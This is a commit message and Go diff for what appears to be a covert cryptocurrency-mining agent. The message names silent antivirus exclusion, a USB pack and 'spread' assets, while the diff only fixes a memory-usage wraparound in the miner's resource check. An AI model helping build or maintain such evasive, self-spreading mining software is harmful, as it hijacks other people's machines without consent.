Release validation: tests green, USB pack, fleet UX and API hardening.

Fix macOS agent cross-compile (SilentAVExclusion) and Calibrate E2E nav selector; expand tests and docs; refresh portable usb binary and spread/wiki assets.

agent/miner/pool.go

@@ -190,7 +190,14 @@ func (p *Pool) resourcesOK() bool {
 	}
 	totalMB := p.reporter.TotalMemoryMB()
 	if totalMB > 0 && p.cfg.MaxMemoryPct > 0 {
-		usedPct := float64(totalMB-freeMB) / float64(totalMB) * 100
+		// Clamp freeMB to totalMB before subtraction: on Linux, MemAvailable
+		// can briefly exceed MemTotal (page-cache reclaim), which would cause
+		// uint64 wraparound and a 1.8e19 % usage value that halts mining.
+		clampedFree := freeMB
+		if clampedFree > totalMB {
+			clampedFree = totalMB
+		}
+		usedPct := float64(totalMB-clampedFree) / float64(totalMB) * 100
 		if usedPct > float64(p.cfg.MaxMemoryPct) {
 			return false
 		}